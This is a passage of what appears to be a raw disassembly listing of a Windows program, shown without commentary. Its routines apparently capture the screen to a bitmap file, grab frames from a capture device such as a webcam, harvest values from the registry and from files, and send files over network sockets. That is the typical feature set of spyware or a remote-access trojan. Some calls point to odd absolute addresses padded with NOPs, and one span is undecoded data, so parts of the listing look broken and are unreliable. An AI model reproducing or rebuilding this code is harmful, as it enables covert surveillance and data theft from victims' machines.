var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4CAF60
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4155F0
		push	8
		push	edi
		call	dword_4CAF7C
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4CAF7C
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4CAF7C
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_41541E
		push	18h
		push	edi
		call	dword_4CAF7C
		mov	ebx, 100h
		jmp	short loc_415420
; ---------------------------------------------------------------------------

loc_41541E:				; CODE XREF: sub_4153BC+50j
		xor	ebx, ebx

loc_415420:				; CODE XREF: sub_4153BC+60j
		push	edi
		call	dword_4CAFC0
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4155D5
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4CAFB8
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4155E0
		push	eax
		push	[ebp+var_4]
		call	dword_4CAE44
		cmp	eax, esi
		jz	loc_4155E0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4155E0
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_4CAFBC
		test	eax, eax
		jz	loc_4155E0
		cmp	ebx, esi
		jz	short loc_4154DD
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4CAE98
		mov	ebx, eax

loc_4154DD:				; CODE XREF: sub_4153BC+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		nop
		call	near ptr 26F0929h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4155C0
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		call	near ptr 26E0000h
		nop
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		call	near ptr 26E0000h
		nop
		cmp	ebx, esi
		jz	short loc_4155A2
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	near ptr 26E0000h
		nop

loc_4155A2:				; CODE XREF: sub_4153BC+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		nop
		call	near ptr 26E0000h
		push	[ebp+arg_0]
		nop
		call	near ptr 26509C3h
		push	1
		pop	esi

loc_4155C0:				; CODE XREF: sub_4153BC+1A2j
		push	[ebp+var_1C]
		call	dword_4CAED0
		push	[ebp+var_4]
		call	dword_4CAE30
		mov	edi, [ebp+var_20]

loc_4155D5:				; CODE XREF: sub_4153BC+70j
		push	edi
		call	dword_4CAE30
		mov	eax, esi
		jmp	short loc_4155F2
; ---------------------------------------------------------------------------

loc_4155E0:				; CODE XREF: sub_4153BC+C7j
					; sub_4153BC+D9j ...
		push	edi
		call	dword_4CAE30
		push	[ebp+var_4]
		call	dword_4CAE30

loc_4155F0:				; CODE XREF: sub_4153BC+23j
		xor	eax, eax

loc_4155F2:				; CODE XREF: sub_4153BC+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4153BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155F7	proc near		; CODE XREF: sub_401ACD+7476p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D2BA0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CAEC4
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415635
		mov	eax, esi
		jmp	loc_4157EB
; ---------------------------------------------------------------------------

loc_415635:				; CODE XREF: sub_4155F7+35j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415652
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CAFD0
		jmp	short loc_415654
; ---------------------------------------------------------------------------

loc_415652:				; CODE XREF: sub_4155F7+47j
		xor	eax, eax

loc_415654:				; CODE XREF: sub_4155F7+59j
		cmp	eax, ebx
		jnz	short loc_41565F

loc_415658:				; CODE XREF: sub_4155F7+88j
					; sub_4155F7+BCj
		mov	ebx, esi
		jmp	loc_4157E0
; ---------------------------------------------------------------------------

loc_41565F:				; CODE XREF: sub_4155F7+5Fj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41567C
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CAFD0

loc_41567C:				; CODE XREF: sub_4155F7+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_415658
		push	edi
		call	dword_4CAF14
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_4156A2
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0
		mov	[ebp+arg_4], eax
		jmp	short loc_4156A5
; ---------------------------------------------------------------------------

loc_4156A2:				; CODE XREF: sub_4155F7+98j
		mov	[ebp+arg_4], ebx

loc_4156A5:				; CODE XREF: sub_4155F7+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_415658
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4156CC
		push	1
		pop	ebx
		jmp	loc_4157E0
; ---------------------------------------------------------------------------

loc_4156CC:				; CODE XREF: sub_4155F7+CBj
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4156E9
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0

loc_4156E9:				; CODE XREF: sub_4155F7+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415704
		mov	ecx, 280h

loc_415704:				; CODE XREF: sub_4155F7+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_415710
		mov	eax, 1E0h

loc_415710:				; CODE XREF: sub_4155F7+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CAF14
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_41575A
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0

loc_41575A:				; CODE XREF: sub_4155F7+153j
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415777
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4CAFD0

loc_415777:				; CODE XREF: sub_4155F7+16Ej
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415796
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4CAFD0

loc_415796:				; CODE XREF: sub_4155F7+18Bj
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4157B3
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0

loc_4157B3:				; CODE XREF: sub_4155F7+1AAj
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4157E0
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4CAFD0

loc_4157E0:				; CODE XREF: sub_4155F7+63j
					; sub_4155F7+D0j ...
		push	[ebp+var_4]
		call	dword_4CB024
		mov	eax, ebx

loc_4157EB:				; CODE XREF: sub_4155F7+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4155F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157F0	proc near		; CODE XREF: sub_401ACD+752Ep

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D2BA0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CAEC4
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41582E
		mov	eax, esi
		jmp	loc_415A2A
; ---------------------------------------------------------------------------

loc_41582E:				; CODE XREF: sub_4157F0+35j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41584B
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CAFD0
		jmp	short loc_41584D
; ---------------------------------------------------------------------------

loc_41584B:				; CODE XREF: sub_4157F0+47j
		xor	eax, eax

loc_41584D:				; CODE XREF: sub_4157F0+59j
		cmp	eax, ebx
		jnz	short loc_415858

loc_415851:				; CODE XREF: sub_4157F0+8Bj
					; sub_4157F0+BCj
		mov	ebx, esi
		jmp	loc_415A21
; ---------------------------------------------------------------------------

loc_415858:				; CODE XREF: sub_4157F0+5Fj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415878
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CAFD0

loc_415878:				; CODE XREF: sub_4157F0+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_415851
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41589B
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4CAFD0
		mov	[ebp+arg_4], eax
		jmp	short loc_41589E
; ---------------------------------------------------------------------------

loc_41589B:				; CODE XREF: sub_4157F0+96j
		mov	[ebp+arg_4], ebx

loc_41589E:				; CODE XREF: sub_4157F0+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415851
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4158C5
		push	1
		pop	ebx
		jmp	loc_415A21
; ---------------------------------------------------------------------------

loc_4158C5:				; CODE XREF: sub_4157F0+CBj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4158E2
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_4CAFD0

loc_4158E2:				; CODE XREF: sub_4157F0+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4158FD
		mov	ecx, 0A0h

loc_4158FD:				; CODE XREF: sub_4157F0+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_415907
		push	78h
		pop	eax

loc_415907:				; CODE XREF: sub_4157F0+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41594C
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CAFD0

loc_41594C:				; CODE XREF: sub_4157F0+14Aj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415969
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4CAFD0

loc_415969:				; CODE XREF: sub_4157F0+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159A7
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4CAFD0

loc_4159A7:				; CODE XREF: sub_4157F0+1A3j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159C2
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4CAFD0

loc_4159C2:				; CODE XREF: sub_4157F0+1C0j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159DB
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4CAFD0

loc_4159DB:				; CODE XREF: sub_4157F0+1DBj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159F8
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CAFD0

loc_4159F8:				; CODE XREF: sub_4157F0+1F4j
		push	[ebp+var_4]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415A21
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4CAFD0

loc_415A21:				; CODE XREF: sub_4157F0+63j
					; sub_4157F0+D0j ...
		push	edi
		call	dword_4CB024
		mov	eax, ebx

loc_415A2A:				; CODE XREF: sub_4157F0+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4157F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A2F	proc near		; CODE XREF: sub_401ACD+25F1p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_4361FC, ebx
		mov	[ebp+var_C], 80h
		jz	loc_415BD0
		push	esi
		push	edi
		mov	eax, offset off_4361FC
		mov	esi, offset dword_436208
		mov	edi, offset dword_437400

loc_415A5F:				; CODE XREF: sub_415A2F+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4CAFE4
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4CAE74
		test	eax, eax
		jnz	loc_415BB6
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_415B7A
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_4293BC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_41B4C2
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_415BB6
		push	eax

loc_415AD8:				; CODE XREF: sub_415A2F+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_415B6F
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B05
		push	[ebp+var_8]
		jmp	short loc_415AD8
; ---------------------------------------------------------------------------

loc_415B05:				; CODE XREF: sub_415A2F+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B33
		lea	eax, [ebp+var_70]
		push	offset asc_4373FC ; "="
		push	eax
		call	sub_41C0F4
		push	offset asc_4373FC ; "="
		push	ebx
		call	sub_41C0F4
		add	esp, 10h
		jmp	short loc_415B36
; ---------------------------------------------------------------------------

loc_415B33:				; CODE XREF: sub_415A2F+E4j
		lea	eax, [ebp+var_70]

loc_415B36:				; CODE XREF: sub_415A2F+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 18h

loc_415B6F:				; CODE XREF: sub_415A2F+B9j
		push	[ebp+var_8]
		call	sub_41B05B
		pop	ecx
		jmp	short loc_415BB6
; ---------------------------------------------------------------------------

loc_415B7A:				; CODE XREF: sub_415A2F+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 28h

loc_415BB6:				; CODE XREF: sub_415A2F+60j
					; sub_415A2F+A2j ...
		push	[ebp+var_4]
		call	dword_4CAF50
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_415A5F
		pop	edi
		pop	esi

loc_415BD0:				; CODE XREF: sub_415A2F+19j
		pop	ebx
		leave
		retn
sub_415A2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BD3	proc near		; CODE XREF: ___:00416278p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CAFF4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415C4F
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CAF74
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CAFB4
		cmp	eax, esi
		jnz	short loc_415C34
		push	[ebp+arg_0]
		call	dword_4CAFF8
		test	eax, eax
		jz	short loc_415C4F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_415C34:				; CODE XREF: sub_415BD3+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CAF1C
		cmp	eax, esi
		jnz	short loc_415C53
		push	edi
		call	dword_4CB00C

loc_415C4F:				; CODE XREF: sub_415BD3+1Bj
					; sub_415BD3+58j
		mov	eax, esi
		jmp	short loc_415C55
; ---------------------------------------------------------------------------

loc_415C53:				; CODE XREF: sub_415BD3+73j
		mov	eax, edi

loc_415C55:				; CODE XREF: sub_415BD3+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415BD3	endp

; ---------------------------------------------------------------------------
byte_415C59	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+A1Eo
		dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah
		dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh,	1B0B0h
		dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh,	59FFFB83h
		dd 858D5275h, 0FFFFEE4Ch, 43747C68h, 0DBE85000h, 3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h
		dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 0E8905659h
		dd 22BA314h, 43D12868h,	6DE85300h, 5900003Fh, 59FFF883h
		dd 858D5975h, 0FFFFEE4Ch, 43744C68h, 77E85000h,	3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h
		dd 6DE850FFh, 59FFFFF4h, 0C15FF53h, 0FF004CB0h,	0C3E8F075h
		dd 59FFFF56h, 0A9E89056h, 6A022BA2h, 58E89064h,	330224B1h
		dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch
		dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 8C15FF53h,	85004CAFh
		dd 8D387EC0h, 0FFEE4C85h, 999868FFh, 0E8500042h, 6124h
		dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h
		dd 0B101E864h, 6A900224h, 5580E80Ah, 0C085FFFFh, 8DA37559h
		dd 0FFEE4C85h, 741868FFh, 0E8500043h, 5AB2h, 59F87D39h
		dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h,	0FFFFFF6Ch
		dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch,	0F3AAE850h
		dd 5359FFFFh, 0B00C15FFh, 75FF004Ch, 5600E8F0h,	5759FFFFh
		dd 0A1E6E890h
; ---------------------------------------------------------------------------
		sub	eax, [edx]

loc_415E1A:				; DATA XREF: sub_401ACD+7831o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CAFF4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_415E68
		push	offset unk_43757C
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415E68:				; CODE XREF: ___:00415E5Cj
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CAF74
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CAFA0
		test	eax, eax
		jz	short loc_415EA6
		push	offset unk_437558
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415EA6:				; CODE XREF: ___:00415E9Aj
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CAF18
		push	dword ptr [ebp-2Eh]
		call	dword_4CAEA4
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41AFE0
		pop	ecx

loc_415ED8:				; CODE XREF: ___:00415F09j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_415EEB
		push	5Fh
		pop	eax
		jmp	short loc_415EEE
; ---------------------------------------------------------------------------

loc_415EEB:				; CODE XREF: ___:00415EE4j
		movsx	eax, al

loc_415EEE:				; CODE XREF: ___:00415EE9j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41AFE0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_415ED8
		push	ebx
		push	edi
		call	dword_4CAF9C
		test	eax, eax
		jz	short loc_415F21
		push	offset unk_43747C
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415F21:				; CODE XREF: ___:00415F15j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		call	near ptr 26F0929h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_415F4B
		push	offset unk_437538
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415F4B:				; CODE XREF: ___:00415F3Fj
		push	esi
		push	eax
		nop
		call	near ptr 2730A2Dh
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CAFB4
		push	eax
		call	dword_4CAF70
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_437520
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CAF5C
		test	eax, eax
		jg	short loc_415FFB
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_437508
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
